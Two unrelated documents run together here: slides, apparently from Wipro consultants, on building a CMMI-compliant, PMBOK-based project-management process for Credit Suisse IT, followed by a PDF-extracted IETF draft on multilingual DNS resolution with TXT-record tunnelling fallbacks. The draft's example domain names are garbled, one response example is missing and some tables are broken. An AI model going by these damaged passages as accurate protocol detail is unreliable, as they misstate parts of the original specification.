- Wipro QCG consultants along with Project Management Expert Team and Project Management Extended Team, jointly developed the process solution which is CMMI compliant and PMBOK compatible
Comparative analysis between PMBOK and CMMI (High level) 1/2
**PMBOK**
Overall 44 processes of PMBOK organized into 5 project management process groups and 9 knowledge areas.
PMBOK also specifies possible interfaces between process groups and their overlap across project timeline.
Project Management aspects like Initiating, Executing and Closing have been elaborated along with Planning, Monitoring and Control.
Under a knowledge area process, activities are defined with inputs, tools and techniques, outputs. Processes are organized across different process groups. Interfaces between processes also have been addressed.
**CMMI**
CMMI Project Management process areas organized into Specific Practices (SPs) catering to Specific Goals and Generic Practices (GPs) catering to Generic Goals.
Apart from Planning, Monitoring and Control other three aspects Initiating, Executing and Closing have not been clearly addressed.
In CMMI framework Specific Practices, Generic Practices have been elaborated.
It provides freedom for interpretation and design of process solution which needs to meet CMMI requirements.
### Comparative analysis between PMBOK and CMMI (High level) 2/2
<table>
<thead>
<tr>
<th>PMBOK</th>
<th>CMMI</th>
</tr>
</thead>
<tbody>
<tr>
<td>PMBOK focuses only on Project Management activities</td>
<td>CMMI frame work focuses on Planning, Resourcing, Monitoring and Control, Senior management reporting for all Project Management, Engineering and Support process areas through Generic Practices</td>
</tr>
<tr>
<td>PMBOK uses terminologies common across Project Management community</td>
<td>CMMI does not prescribe any specific terminology to be followed. It is up to practitioners to adopt certain terminology and satisfy framework expectation simultaneously</td>
</tr>
<tr>
<td>Degree of usage of PMBOK processes and details mentioned, depends on organization needs</td>
<td>Organization need to satisfy CMMI Maturity Level requirements (Described in GPs and SPs) through process solutions, and ensure implementation of process solution. This needs to be formally appraised by SEI authorized lead appraiser</td>
</tr>
<tr>
<td>There is no formal appraisal for PMBOK compliance</td>
<td></td>
</tr>
</tbody>
</table>
Advantage of adopting PMBOK
**Initiating Project**
- This aspect is elaborated in PMBOK
- Recommends development of project charter and preliminary project scope documents that helps in understanding, developing project management plan and associated plans
**Project Planning**
- Scope management plan is more elaborate in PMBOK
- Planning for continuous improvement for the project is prescribed
- Details regarding organization chart, resource loading described
- Escalation management is prescribed by PMBOK
- Emphasizes more on plan for formal verification and acceptance of deliverables
- Quantitative risk analysis, strategies for positive risk or opportunities, thresh holds for mitigation and contingency action for risks
**Executing project**
- This aspect is explicitly mentioned with details of acquiring project team, developing project team, performing quality assurance, information distribution, evaluation and selection of service providers
Advantage of adopting PMBOK
Monitoring and Control of Project
- Integrated change control is more elaborate in PMBOK, where CMMI addresses Change Management in Requirements Management and Configuration Management processes areas.
- Emphasizes on scope verification (Monitoring of formal acceptance of deliverables) and scope control which supports integrated Change Management.
- Quality control aspect of PMBOK emphasizes more of preventive actions. Managing of team and HR related aspects like performance appraisal, conflict management are more elaborate in PMBOK.
Closing Project
- PMBOK recommends this as a separate process group and emphasizes on administrative closure, contract closure, final work products.
It also elaborates more on updating organizational process assets by best practices, experiences from project.
Challenges faced and Aspects considered for Process Solution
Challenges
To design a process solution for Project Management which satisfies CMMI requirements, current organizational practice and PMBOK best practices
Definition of boundaries between Engineering lifecycle and Project Management lifecycle
Defining interfaces of Engineering lifecycle phases to Project Management lifecycle phases and vice versa
Representation of level of interaction of Project Management lifecycle phases and the way their repetitiveness to be addressed
To create an easily navigable process solution architecture where user navigates from Engineering lifecycle phases to Project Management lifecycle phases then to process, sub process and other process artifacts
Usage of process terminology which is common across the Project Management practices
Aspects considered for Process Solution
➢ Detailed mapping of CMMI with PMBOK and organization current Project Management practices
➢ All the requirements of CMMI and PMBOK
➢ For designing process architecture PMBOK representations, lifecycle model, phase relationships have been considered and interpreted suitably to organization needs
➢ Mapping of the Project Management Processes to the Project Management Process Groups and the Knowledge Areas have been considered from PMBOK
Process Solution Approach
<table>
<thead>
<tr>
<th>CMMI Project Management practices</th>
<th>Corresponding PMBOK processes</th>
<th>CMMI requirements</th>
<th>PMBOK requirements</th>
<th>Combined CMMI and PMBOK requirements</th>
<th>Questions to seek Information</th>
<th>Current practices</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Analysis document
List of process deliverables
Requirements document
Context Diagram
Conceptual process solution
Process solution
Conceptual process flow diagrams
Overall Process Architecture
First Layer
First layer of the Process Architecture contains the interface between Project Management processes to Engineering Lifecycle Model.
Second Layer
Second layer of the Process Architecture contains the representation of Project Management process groups and interactions.
Third Layer
Third layer of the Process Architecture contains the detail flow representation of each process, interfaces with other processes, sub processes inputs, outputs, deliverables and associated process artifacts.
Fourth Layer
Fourth layer of the Process Architecture contains the detail flow representation of sub processes, support processes and called sub processes.
This diagram represents interfaces to ideal Waterfall Lifecycle Model.
The first layer of processes architecture contains the interface between Project Management processes to Software Engineering Lifecycle phases.
Software Engineering Lifecycle model may have different variants suitable to project needs.
This diagram represents the five process groups of PMBOK attributed to each phase of Engineering Lifecycle.
Initiating, Planning, Executing, Monitoring & Control and Closure.
The intensity at which these project management activities carried out at different Engineering Lifecycle phases may differ.
This diagram represents the Interactions between Process Groups, and repetitiveness of all Process Groups across Engineering Lifecycle phases.
This diagram represents the Interaction between Process Groups and their applicability in Engineering Lifecycle phases and over all project.
This layer represents individual process under Five Process Groups of PMBOK
Three process have been given separate status and represented outside the Five process area groups. They are:
- Risk Management
- Issue/ Escalation Management
- Change Management
These processes serve more as a support processes for one or more individual processes under each process group
Project Planning, Project Monitoring and Control and Risk Management processes areas of CMMI are incorporated in the solution along with planning, monitoring and status reporting of all engineering and support process areas.
Process Architecture – Second layer (2/3)
**INITIATING PROCESS GROUP**
- Project initiation process
(Applicable to start of the project)
- Phase initiation process
(Applicable to start of each phase of Engineering Lifecycle)
**PLANNING PROCESS GROUP**
- Develop Project Management Plan process
(Applicable to start of the project)
- Phase / Milestone planning process
(Applicable to start of each phase of Engineering Lifecycle and also to revision of Project Management Plan as and when required)
**EXECUTION PROCESS GROUP**
- Execute phase process (Applicable to task allocation, execution for the phase and production of deliverables in each phase of Engineering Lifecycle)
**MONITORING AND CONTROL PROCESS GROUP**
- Monitor and Control process
(This is applicable to Phases and Overall project)
**CLOSING PROCESS GROUP**
- Phase closure process (Applicable to completion of deliverables of each phase of Engineering Lifecycle, logical handing over to next phase)
Process Architecture – Second layer (3/3)
Project closure process (Applicable to over all project closure, contract closure, administrative closure etc).
Each Process group is supported by one or more Knowledge area processes.
There are interdependencies between one knowledge area element to other knowledge area element to satisfy the objective of Process group.
There are also interdependencies between different elements of single Knowledge area under different process area groups.
All these have been depicted through different processes and process interfaces.
Example:
Develop Project Management Plan process
Overview
All planning aspects of PMBOK and CMMI Built into the process
The flow is depicted as per PMBOK
Usage of PMBOK terminology
CMMI terminology has been used for the aspects which PMBOK does not cater
Major deliverables
Project Management Plan with all associated sub plans
Process Architecture
Fourth Layer–Support processes
Example
Action item/ Issue/ Escalation process
Overview
Escalation aspect is not mentioned in CMMI
In PMBOK, escalation and issue mentioned but it is not mentioned as process in PMBOK
It caters to most of the processes in project management and called inside the processes as per requirement.
## Results and Benefits
<table>
<thead>
<tr>
<th>RESULTS</th>
<th>BENEFITS</th>
</tr>
</thead>
<tbody>
<tr>
<td>- As a part of process solution 7 processes, 7 sub processes, 9 guidelines, 12 templates and 3 checklists have been produced</td>
<td>- Acceptance of process solution among the practitioners</td>
</tr>
<tr>
<td>- Process Solution has successfully undergone SCAMPI–C appraisal by SEI authorized Lead Appraiser</td>
<td>- Leads to improvement of cost and schedule performance in the projects</td>
</tr>
<tr>
<td></td>
<td>- Project Management practices across organization standardized through common terminology, consistency in practices</td>
</tr>
<tr>
<td></td>
<td>- Improved process compliance in projects</td>
</tr>
<tr>
<td></td>
<td>- Scalable process model which accommodates location and business specific tailoring and customization</td>
</tr>
<tr>
<td></td>
<td>- Alignment of Project Management processes to Engineering and Support processes brings seamless process integration</td>
</tr>
</tbody>
</table>
Acknowledgements
Sponsor of process improvement program
CIO of Credit Suisse IT PB Region Switzerland
Responsible for the program development and execution
Head of IT Methodology & Quality Management Global
Instrumental in decision to go for such process solution and provided overall guidance during development of the solution
Head of CMMI Program for CS IT Region Switzerland
Instrumental in developing project management process solution prototype based on PMBOK. Provided expert guidance and involved as a subject matter expert for review of the process solution and related process assets. Also helped in coordinating, providing resources and overall support for design and implementation of process solution
Process Area Manager for Project Management processes
Key stakeholder, involved in design, review and finalization of the process solution
Wipro QCG Consultants
For contribution in design, development and review of Process Solution
Thank you
Sharma Sriram
sharma.sriram@wipro.com
Bansi Mohan Rath
bansi.rath@wipro.com
http://qualityconsulting.wipro.com/index.php
www.wipro.com
Appendix 1 Process architecture – Notations used
- Event
- QA Activity
- Activity
- AND Connector
- OR Connector
- XOR Connector
- Role
- Process Interface
- Input/Output connector
- Connector
- Flow
- Template
- Work Product
- Process Group
## Appendix 2–Details of activity under process
<table>
<thead>
<tr>
<th>Activity Description</th>
<th>PMBOK reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>Input WP / Event</td>
<td>CMMI Reference</td>
</tr>
<tr>
<td>Output WP / Event</td>
<td>COBIT/COSO References</td>
</tr>
<tr>
<td>Verification Type*</td>
<td>Applications+Links</td>
</tr>
<tr>
<td>Entry Criteria</td>
<td>Guidelines+ Links</td>
</tr>
<tr>
<td>Exit Criteria</td>
<td>Templates+ Links</td>
</tr>
<tr>
<td>Guidance (optional)</td>
<td>Checklists+ Links</td>
</tr>
<tr>
<td>Tailorable</td>
<td>Yes ☐ No ☐ Examples+ Links</td>
</tr>
<tr>
<td>Tailoring Guidelines</td>
<td></td>
</tr>
<tr>
<td>RACI</td>
<td>R: A: C: I:</td>
</tr>
</tbody>
</table>
Following details has been provided for each activity under a process or sub-process
|
{"Source-Url": "https://resources.sei.cmu.edu/asset_files/Presentation/2007_017_001_24255.pdf", "len_cl100k_base": 4129, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 40714, "total-output-tokens": 4788, "length": "2e12", "weborganizer": {"__label__adult": 0.000820159912109375, "__label__art_design": 0.004070281982421875, "__label__crime_law": 0.002017974853515625, "__label__education_jobs": 0.06060791015625, "__label__entertainment": 0.0003018379211425781, "__label__fashion_beauty": 0.0005121231079101562, "__label__finance_business": 0.282958984375, "__label__food_dining": 0.0009694099426269532, "__label__games": 0.0015287399291992188, "__label__hardware": 0.002201080322265625, "__label__health": 0.0016117095947265625, "__label__history": 0.0013751983642578125, "__label__home_hobbies": 0.00077056884765625, "__label__industrial": 0.0199127197265625, "__label__literature": 0.0010938644409179688, "__label__politics": 0.0006871223449707031, "__label__religion": 0.000946044921875, "__label__science_tech": 0.11572265625, "__label__social_life": 0.0004682540893554687, "__label__software": 0.159423828125, "__label__software_dev": 0.3388671875, "__label__sports_fitness": 0.0006966590881347656, "__label__transportation": 0.0016021728515625, "__label__travel": 0.0008878707885742188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 18162, 0.02431]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 18162, 0.02948]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 18162, 0.89866]], "google_gemma-3-12b-it_contains_pii": [[0, 203, false], [203, 572, null], [572, 1677, null], [1677, 3319, null], [3319, 3931, null], [3931, 4900, null], [4900, 6022, null], [6022, 6998, null], [6998, 7958, null], [7958, 8795, null], [8795, 10121, null], [10121, 10924, null], [10924, 11614, null], [11614, 12226, null], [12226, 12511, null], [12511, 13107, null], [13107, 14089, null], [14089, 14662, null], [14662, 14998, null], [14998, 15349, null], [15349, 16187, null], [16187, 17140, null], [17140, 17287, null], [17287, 17530, null], [17530, 18162, null]], "google_gemma-3-12b-it_is_public_document": [[0, 203, true], [203, 572, null], [572, 1677, null], [1677, 3319, null], [3319, 3931, null], [3931, 4900, null], [4900, 6022, null], [6022, 6998, null], [6998, 7958, null], [7958, 8795, null], [8795, 10121, null], [10121, 10924, null], [10924, 11614, null], [11614, 12226, null], [12226, 12511, null], [12511, 13107, null], [13107, 14089, null], [14089, 14662, null], [14662, 14998, null], [14998, 15349, null], [15349, 16187, null], [16187, 17140, null], [17140, 17287, null], [17287, 17530, null], [17530, 18162, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 18162, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 18162, null]], "pdf_page_numbers": [[0, 203, 1], [203, 572, 2], [572, 1677, 3], [1677, 3319, 4], [3319, 3931, 5], [3931, 4900, 6], [4900, 6022, 7], [6022, 6998, 8], [6998, 7958, 9], [7958, 8795, 10], [8795, 10121, 11], [10121, 10924, 12], [10924, 11614, 13], [11614, 12226, 14], [12226, 12511, 15], [12511, 13107, 16], [13107, 14089, 17], [14089, 14662, 18], [14662, 14998, 19], [14998, 15349, 20], [15349, 16187, 21], [16187, 17140, 22], [17140, 17287, 23], [17287, 17530, 24], [17530, 18162, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 18162, 0.15942]]}
|
olmocr_science_pdfs
|
2024-12-04
|
2024-12-04
|
ff12cc9752d54d39ffe2165384a7d4e2dc8f2c82
|
DNSII Multilingual Domain Name Resolution
STATUS OF THIS MEMO
This document is an Internet-Draft and is in full conformance with all provisions of Section 10 of RFC2026.
Internet-Drafts are working documents of the Internet Engineering Task Force (IETF), its areas, and its working groups. Note that other groups may also distribute working documents as Internet-Drafts. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."
The reader is cautioned not to depend on the values that appear in examples to be current or complete, since their purpose is primarily educational. Distribution of this memo is unlimited.
The list of current Internet-Drafts can be accessed at http://www.ietf.org/ietf/1id-abstracts.txt
The list of Internet-Draft Shadow Directories can be accessed at http://www.ietf.org/shadow.html.
Abstract
The Internet-Draft for DNSII-MDNP was focused purely on discussing the ultimate packet protocol that is being sent around the Internet for multilingual domain names. This paper complements the previous paper by outlining the contemplated resolution process with the DNSII protocol throughout the DNS name resolution process.
The DNSII-MDNR outlines a resolution process that forms a framework for the resolution of multilingual domain names. Whether the DNSII protocol is implemented exactly as specified in DNSII-MDNP is less relevant, rather it is the idea of having a multilingual packet identifier and the fall back process that matters. The DNSII-MDNR successfully addresses the transitional issues at each node of the DNS resolution process providing a clear migration path and strategy for the deployment of a multilingual enabled DNS system. It also outlines the conformance levels required for basic or complete implementations for applications, resolvers and name servers.
This document also introduces a tunneling mechanism for the short-run to transition the system through to a truly multilingual capable name space.
1. Introduction
This Internet-Draft describes details of the contemplated resolution process after the deployment of DNSII-MDNP, or other multilingual domain name efforts containing a bit flag multilingual packet identifier or otherwise InPacket identifications for that matter.
The reader is assumed to be familiar with the concepts discussed in the DNSII-MDNP Internet-Draft <draft-ietf-idn-dnsii-mdnp.txt>.
1.1 Terminology
The key words "MUST", "SHALL", "REQUIRED", "SHOULD", "RECOMMENDED", and "MAY" in this document are to be interpreted as described in RFC 2119 [RFC2119].
A number of multilingual characters are used in this document for examples. Please select your view encoding type to Big-5 (Traditional Chinese) for them to be displayed properly.
1.2 Multilingual Domain Name Resolution
The original specifications for the DNS were designed to be open enough for simple implementation of a multilingual naming system with slight adjustments as laid out in DNSII-MDNP. The transition and especially its resolution process during migration is however a tricky problem. Several things that MUST be kept in mind is that there is an initial phase, an intermediate phase and an ultimate steady state phase. DNSII-MDNP only described the ideal protocol at steady state, with incorporated flexibility for transition from the present to multilingual as well as again towards future unknown grounds.
It is important to remember that the ultimate form SHOULD be determined and then the transition scheme laid out. While an ASCII translation system might seem favorable in the short-run, it effectively creates an alternative universe which is counter to the spirit of the DNS. However an ASCII translation is implemented, it immediately creates a "human-multilingual" universe and a "machine-ASCII" universe. This document introduces a tunneling mechanism to transition the DNS from today's monolingual system, through an 8-bit or 7-bit migration scheme towards a truly sustainable multilingual name space, arriving at a DNSII type system.
1.2 DNSII-MDNR
While DNSII-MDNP describes the framework for the ultimate protocol format of a multilingual DNS, DNSII-MDNR will discuss how the packet SHOULD be transported and interpreted throughout the DNS. The document will describe both the intended resolution process as well as part of the transition strategy from the existing DNS to a DNSII enabled system.
2. DNSII Proposal with respect to the DNS Layers
The following diagram illustrates the use of DNSII-MDNP at a steady state. Section 3 will discuss the fallback strategies while Section 4 will talk about issues on conformance levels.
Please note that at each level, the domain name is being canonicalized. This is to ensure that at the end, characters that can be represented by a single code point will not be otherwise compared resulting in inconsistent reply to a humanly identical name. It is RECOMMENDED that applications SHOULD conduct canonicalization while servers MUST. Duplicating the process is fine because if a character is already composed, it will not compose again with another character.
This arrangement is very similar to the ASCII case folding experienced in the DNS today. In the original specifications, it was RECOMMENDED that query sent be left as they are and case folding done only at the server end. Some application implementations however do perform the case folding at the user end. As the query arrives at the server, it is still case folded.
Case folding for multilingual domain names should follow the existing implementations for ASCII names, where the application SHOULD and the server MUST.
3. The Resolution Process
It is inevitable that at the end of the day, the entire DNS chain SHOULD be updated in order for multilingual domain names to be as efficiently resolved as names under the current DNS. DNSII strives to provide a schema that ultimately brings the system to a desirable steady state while carefully giving considerations to all the transition issues. These include the considerations that at the application end, there is already a preference and an installed base of character encoding that may or may not conform to the desires of the server end operations. The use of ILET is therefore highly desirable and essential.
3.1 Steady State Resolution
At steady state, the resolution process of multilingual domain names SHOULD be identical to the existing system. Additional steps of going through alphanumerical translation are unnecessary and undesirable.
With DNSII, the contemplated steady state process resembles the well-known DNS model laid out in RFC1035.
Eventually, an ISO 10646 UCS without transformation is desired as the common format. The benefits of having a uniform byte length encoding far exceeds the seemingly easier transformation solution. Especially
considering that the DNS requires a label count that should reflect
the number of characters in a label. Of course there exists
combination characters in the ISO 10646 specifications as well, but
after canonicalization, only the ones that must use combinations
remain and they are usually meaningful depictions.
The importance of this count value is further demonstrated by
scrambling efforts to extend the size of this field or to compress
character encoding to accommodate multilingual characters. With
DNSII, this no longer constitutes an issue because any language will
be able to share the same number of characters thanks to the use of
ISO 10646. As a matter of fact, the desire to use uniform byte
length characters formed part of the original intent of the ISO 10646
initiative anyway.
3.2 Client-End or Inquirer Transitional Fall-Back Strategy
For a DNSII aware Client, it will be able to create DNSII packets
which provides precise character data of the domain name in question.
However, if it encounters a non-compliant resolver, it MUST be able
to fallback to a format acceptable by current resolvers.
<table>
<thead>
<tr>
<th>User Program</th>
<th>+-----------------------></th>
<th>Resolver</th>
</tr>
</thead>
</table>
| (1) user queries
(DNSII identifier
ILET=UCS without
Transformation) | (2) if Resolver is
DNSII compliant,
Packet is resolved
accordingly. If
not fallback to (3) |
| --------------|--------------------------|----------|
| (3) Upon the detection
of the DNSII Flag
resolver will reply
with "Format Error" |
| --------------|--------------------------|----------|
| (4) Send QNAME using
local encoding or
UTF-8 with or without
Additional DNSII RR |
| --------------|--------------------------|----------|
| (5) Current resolution process begins
with the DNSII RR
passed along as an
Additional RR |
3.2.1 Tunneling MDNP through DNSII RR
An additional DNSII RR would be tunneled through using the format of
a TXT RR with the RDATA part containing the multilingual labels in a
DNSII compliant format. The TTL of the RR MUST be set to zero to
avoid caching.
the QNAME as well as the NAME field of the DNSII RR UTF-8 MAY be used as the default fallback encoding. However, an arbitrary ASCII name MAY also be used just for the purpose of tunneling. The TTL for responses to tunneled requests MUST be set to zero to avoid caching at any level in the DNS. More detailed description in Section 3.4.
For older DNS servers, requests with a non-empty additional information section MAY produce error returns, however since the deployment of DNSSEC, especially for TSIG considerations, this no-longer constitutes a problem. Basic security prepared servers such as BIND 4 or 8 is already capable of bearing the tunneled DNSII RR.
It is possible to use ACE/RACE type translations at this level, however it is more advisable to use a truly arbitrary label such as "-for-tunneling-only-". So doing requires only reserving one arbitrary name while ACE/RACE creates one more arbitrary name for each new multilingual name registered, which will eventually contribute to the fracturing of the DNS.
As an example, a tunneling packet for the domain name: host. Wt .tld. (4host4??Wt3 tld0) will be represented as:
(in the QNAME field)
```
1 1 1 1 1 1 1 1 1 1 1 1
+---------------------------------------------------------------+
12|0 0| 4 | h | o | s |
+---------------------------------------------------------------+
16| t | 20 | - | f |
+---------------------------------------------------------------+
20| 0 | r | - | t |
+---------------------------------------------------------------+
24| u | n | n | e |
+---------------------------------------------------------------+
28| l | i | n | g |
+---------------------------------------------------------------+
32| - | o | n | l |
+---------------------------------------------------------------+
36| y | - | 3 | t |
+---------------------------------------------------------------+
40| 1 | d | 0 |...
+---------------------------------------------------------------+
```
The reason a DNSII RR is attached is to alert the authoritative DNS
server that the query is DNSII compliant while being able to tunnel
the request through non-compliant resolvers without any loss of
information.
3.2.2 Tunneling ILET RRs
Another fallback strategy is to tunnel just the ILET instead of the
entire DNSII label. If UTF-8 or a local encoding is used as the
QNAME, then the arbitrary ASCII label is no longer necessary. The
tunneled RR therefore need only consist of an ILET indicating the
encoding format used.
Within the RDATA of an ILET RR masked as a TXT RR the first 4 bytes
will be used to indicate that it is an ILET and the following 4 bytes
to reflect the MIBenum of the encoding used.
3.3 Resolvers & Server-End Transitional Fallback Strategy
The tunneling scheme described in Section 3.2 assumes that the authoritative server is fully DNSII compliant. This assertion is laid out in Section 4.3 where it is discussed that only fully compliant servers SHOULD serve multilingual names directly under their authoritative zone. In any other case, the arbitrary domain "-for-tunneling-only-" should result in an NXDomain response.
For security aware servers, an NXT RR of the last name wrapped by its first name in the zone records will be returned because of the leading "-" for the tunneling label.
If the application end is not DNSII compliant, the fallback resolution strategy for resolvers would simply be to pass along the labels in their 8-bit format and determine the existence of the requested name as usual. If a tunneled DNSII RR is detected, by way of a label constituting entirely of "-for-tunneling-only-" and the existence of a valid DNSII RR, the resolver should attempt to resolve the name according to the DNSII specification and tunnel the answer back to the inquirer.
3.3.1 Tunneling MDNP Responses through DNSII ANS RR
To tunnel a DNSII compliant answer through a non-compliant resolver, another DNSII ANS RR is tunneled. Also using the TXT RR format as a mask. TXT RRs are best used because it is a valid RR and its RDATA is an unrestricted byte stream determined only by the RDLENGTH. The RDATA for a DNSII ANS RR would be the entire content of a regular response RR attached to a DNSII format name.
Continuing on the example given in Section 3.2, suppose an A record is requested and the IP address returned for the domain host.Wt.tld. is 123.4.5.6, then an additional DNSII ANS RR (TXT) in the following form will be included:
Chung & Leung
DNSII-MDNR Multilingual Domain Name Resolution August 2000
.tld. is 123.4.5.6, then an additional DNSII ANS RR (TXT) in the following form will be included:
Note that compression is available in the DNSII RRs. While the tunneling TXT mask uses the ASCII tunneling name and therefore points back to the QNAME at offset 12, the tunneled A Record response uses the offset corresponding to the DNSII compliant labels at 92. While the TTL of the TXT mask MUST be zero, the tunneled A Record RR contains a regular TTL, in this case 3600.
3.3.2 Reinsertion of ILET and DNSII Identifier
When a resolver receives an incoming query with a tunneled DNSII/ILET RR, it SHOULD reconfigure the query into a fully compliant format before engaging in further resolution. If a "00" query is received, the resolver should convert the label into UTF-8, set the DNSII identifier "10" on and set the ILET to UTF-8.
In the scenario where the client end is not DNSII compliant, either a local encoding 8-bit stream or a UTF-8 encoded stream without the DNSII flag nor ILET will be transported. During the transition period, should this occur, the above forced UTF-8 conversion and ILET insertion would take place and it would be up to the authoritative server to determine the existence of the requested domain. InZone DNSII handling mechanism will serve to take care of these transitional exceptions.
4. DNSII Conformance Levels
DNSII is designed for a smooth transition from the existing ASCII based DNS to a multilingual capable DNS. Therefore, it is not necessary for all servers and applications to be switched to multilingual capable before starting the deployment.
4.1 Application Conformance Levels
The BASIC compliancy for applications would be to remove validity checks for domain names. The resolution process will determine a non-existing domain name, so there really is no need to prevent a DNS packet with multilingual labels to be sent through the wires.
The INTERMEDIATE compliancy for applications involves the insertion of the DNSII identifier as well as the ILET according to the local inputting and screen scheme. If a user is using a JIS format scheme, it should set the ILET to reflect it being used. At the same time, the tunneling mechanism discussed in Section 3.2 MUST also be in place.
FULLY compliant applications will send all DNS packets with the DNSII identifier and the ILET set to UCS-2/4. The fallback scheme discussed in Section 3.2 MUST also be in place. InZone DNSII mechanisms SHOULD also be available to deal with local encoding exceptions.
4.2 Resolver Conformance Levels
The BASIC compliancy for resolvers would be to allow an 8-bit clean approach to name resolution. Also, it should be made sure that the additional DNSII RR (TXT) will not be truncated during resolution.
The INTERMEDIATE compliant resolvers MUST understand how to process the DNSII identifier as well as not reject the ILET. Interpretation of the name is not required so it is NOT necessary for the resolvers to be able to map all or any of the ILET values (with the alternative approach in DNSII-MDNP, the ILET value corresponds to the byte length of the characters contained in the label, which makes the count workable even if the ILET value is not known by the resolver). In this scenario caching will be for exact comparison only (label to label with ILET intact). The important criteria is for the resolver to be able to pass along the DNS query to the corresponding authoritative server and obtain a correct response.
FULLY compliant resolvers will be able to process the DNSII identifier and know all the ILET values for full function name mapping. Cache name lookup will be fully enabled and inquiry fallback mechanism discussed in Section 3.2.2 SHOULD be performed in the event of encountering a non-compliant server.
4.3 Authoritative Server Conformance Levels
Authoritative servers MUST be fully compliant before attempting to serve multilingual sub-domains under its authoritative zone. They should however prepare for the transition towards a multilingual name space even if they do not intend to deploy it right away.
The BASIC compliancy for authoritative name servers is to allow an 8-bit clean approach towards sub-domains that are not directly under its authority (i.e. sub-sub-domains).
The INTERMEDIATE compliant name server will be able to process the DNSII identifier and ILET without rejecting the query. The authoritative zone as well as its direct sub-domains however SHOULD
not include the use of the DNSII flags because ILET values are not understood at this compliancy level.
FULLY compliant name servers will be able to handle DNSII compliant label formats at its sub-domain levels. That is, fully compliant root servers will be able to serve multilingual TLDs, fully compliant TLD servers will be able to serve multilingual SLDs, etc.
5. Transition Schedule & Strategy
DNSII is designed to allow a gradual adoption of multilingual domain names on the Internet. The transition strategy is therefore geared to be demand-pull instead of a technology-push incentive. However, to provide a platform for a demand-pull approach, it is required for operators to first safeguard their system. The simple approach as laid out in Section 4 is to propose that servers take a 8-bit clean approach on name resolution.
As discussed in DNSII-MDNP, it is reasonable for the deployment of DNSII-MDNP at the registry level first to draw demand for the service and let the host level DNSs with multilingual names to begin migration first. DNS operators around the world should however prepare for the transition and begin the deployment of DNSII depending on their interest in serving multilingual domain names, according to the conformance levels laid out in Section 4, beginning from BASIC compliancy for operators that are least interested to a FULLY compliant server for operators who wishes to provide multilingual capabilities for their users.
The root servers could easily be adjusted to be a BASIC compliant authoritative name server. Once the demand is proven and the stability of the system tested, they too could transition to fully compliant authoritative servers so that multilingual TLDs could be rolled out.
6. Summary of Discussion
This document introduces the contemplated transition and steady state resolution process for multilingual domain names with a DNSII compliant format. Two tunneling mechanisms using the TXT RR was introduced for the preservation of information during transitional resolution.
Chung & Leung
DNSII-MDNR Multilingual Domain Name Resolution August 2000
6.1 Client/Application Resolution Strategy
Send Query in DNSII format
IF RCODE = Format Error
THEN send query in UTF-8/Local Encoding AND append DNSII RR
IF RCODE = Format Error
THEN send Query in ASCII with "-for-tunneling-only-" label
AND append DNSII RR
AND check for DNSII ANS RR in response
ELSE proceed and check for DNSII ANS RR in response
ELSE proceed as usual
6.2 Resolver Resolution Strategy
(*)IF incoming request is in pure DNSII format
THEN resolve according to ILET in cache and by recursive lookup
IF encounter RCODE = Format Error
THEN send query in UTF-8 AND append DNSII RR
IF RCODE = Format Error
THEN send query in ASCII with "-for-tunneling-only-" label
AND append DNSII RR
AND check for DNSII ANS RR in response
ELSE proceed and check for DNSII ANS RR in response
ELSE proceed as usual with pure DNSII Format (*)
AND respond in pure DNSII format
ELSE IF incoming request has tunneled MDNP information
THEN resolve using the information in the appended DNSII RR
Reset Query using DNSII Format and go through (*)
AND convert back to tunneling format before responding to query
With DNSII ANS RR appended to response
AND set TTL for regular RRs in the Answer field to be = 0
ELSE IF incoming request is in the original "00" label format
AND no tunneled information is included
AND the label contains characters beyond A-z, 0-9 or "/"
THEN force convert all labels to UTF-8
AND query using DNSII Format and go through (*)
ELSE proceed as usual (existing ASCII based names)
6.3 Authoritative Name Server Resolution Strategy
IF incoming request is in pure DNSII format
THEN resolve according to ILET
AND respond in pure DNSII format
ELSE IF incoming request has tunneled MDNP information
THEN resolve using the information in the appended DNSII RR
AND convert back to tunneling format before responding to query
With DNSII ANS RR appended to response
AND set TTL for regular RRs in the Answer field to be = 0
ELSE use InZone DNSII mechanisms AND use 8-bit clean approach
Chung & Leung
DNSII-MDNR Multilingual Domain Name Resolution August 2000
7. Security Considerations
DNSII RRs will be secured through transaction authentication, while DNSII ANS RRs could have their own SIG RRs. In general, the DNSII-MDNR should not constitute any extra burden on DNS security.
8. Intellectual Property Considerations
It is the intention of Neteka to submit the DNSII protocol and other
elements of the multilingual domain name server software to IETF for review, comment or standardization.
Neteka Inc. has applied for one or more patents on the technology related to multilingual domain name server software and multilingual email server software suite. If a standard is adopted by IETF and any patents are issued to Neteka with claims that are necessary for practicing the standard, any party will be able to obtain the right to implement, use and distribute the technology or works when implementing, using or distributing technology based upon the specific specifications under fair, reasonable and non-discriminatory terms.
Other DNSII related documents and discussions could be found at http://www.dnsii.org.
9. References
|
